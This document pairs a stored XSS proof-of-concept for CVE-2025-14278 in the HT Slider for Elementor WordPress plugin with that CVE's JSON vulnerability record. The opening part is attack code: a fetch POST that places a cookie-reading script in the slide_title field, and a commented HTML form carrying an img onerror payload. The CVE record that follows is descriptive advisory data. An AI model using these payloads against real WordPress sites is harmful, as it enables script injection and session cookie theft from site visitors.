CVE-2025-14278

// CVE-2025-14278 HT Slider for Elementor Stored XSS PoC // Requires Contributor-level access or higher // Step 1: Create a new slider with malicious slide_title const maliciousPayload = '<script>alert(document.cookie)</script>'; // Step 2: API request to create slider with XSS payload fetch('/wp-json/wp/v2/ht-slider-for-elementor/sliders', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': wpApiSettings.nonce }, body: JSON.stringify({ title: 'Malicious Slider', slides: [{ slide_title: maliciousPayload, slide_content: 'Test content' }] }) }); // Simple HTML PoC for manual testing: // <form action="http://target-site/wp-admin/admin.php?page=ht-slider" method="POST"> // <input type="hidden" name="slide_title" value="<img src=x onerror=alert(document.cookie)>" /> // <input type="submit" value="Exploit" /> // </form>

{"cve": {"id": "CVE-2025-14278", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:48.147", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The HT Slider for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'slide_title' parameter in all versions up to, and including, 1.7.4 due to insufficient input sanitization and output escaping in JavaScript. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ht-slider-for-elementor/tags/1.7.4/assets/js/htslider-widgets.js#L223", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ht-slider-for-elementor/tags/1.7.4/include/addons/htslider_scroll_navigation.php#L1397", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3415988%40ht-slider-for-elementor&new=3415988%40ht-slider-for-elementor#file1", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/af580e5a-a9da-4516-b612-b544dc73cf23?source=cve", "source": "[email protected]"}]}}